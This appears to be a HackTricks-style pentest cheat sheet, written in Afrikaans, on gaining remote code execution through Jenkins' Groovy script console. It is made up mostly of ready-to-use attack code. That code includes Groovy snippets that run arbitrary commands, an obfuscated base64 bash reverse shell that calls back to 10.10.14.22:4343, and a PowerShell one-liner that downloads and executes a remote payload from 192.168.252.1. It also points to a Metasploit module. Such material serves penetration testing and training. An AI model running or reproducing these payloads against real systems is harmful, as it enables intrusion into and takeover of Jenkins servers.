# Jenkins RCE met Groovy Skrip

{{#include ../../banners/hacktricks-training.md}}

## Jenkins RCE met Groovy Skrip

Dit is minder luidrugtig as om 'n nuwe projek in Jenkins te skep

1. Gaan na _path_jenkins/script_
2. Binne die tekskas, stel die skrip voor
```python
def process = "PowerShell.exe <WHATEVER>".execute()
println "Found text ${process.text}"
```
Jy kan 'n opdrag uitvoer met: `cmd.exe /c dir`

In **linux** kan jy doen: **`"ls /".execute().text`**

As jy _aanhalings_ en _enkele aanhalings_ binne die teks moet gebruik, kan jy _"""PAYLOAD"""_ (drie dubbele aanhalings) gebruik om die payload uit te voer.

**Nog 'n nuttige groovy script** is (vervang \[INSERT COMMAND]):
```python
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = '[INSERT COMMAND]'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"
```
### Omgekeerde dop in linux
```python
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = 'bash -c {echo,YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yMi80MzQzIDA+JjEnCg==}|{base64,-d}|{bash,-i}'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"
```
### Reverse shell in windows

Jy kan 'n HTTP-bediener met 'n PS reverse shell voorberei en Jeking gebruik om dit af te laai en uit te voer:
```python
scriptblock="iex (New-Object Net.WebClient).DownloadString('http://192.168.252.1:8000/payload')"
echo $scriptblock | iconv --to-code UTF-16LE | base64 -w 0
cmd.exe /c PowerShell.exe -Exec ByPass -Nol -Enc <BASE64>
```
### Skrip

Jy kan hierdie proses outomatiseer met [**hierdie skrip**](https://github.com/gquere/pwn_jenkins/blob/master/rce/jenkins_rce_admin_script.py).

Jy kan MSF gebruik om 'n omgekeerde skulp te kry:
```
msf> use exploit/multi/http/jenkins_script_console
```
{{#include ../../banners/hacktricks-training.md}}
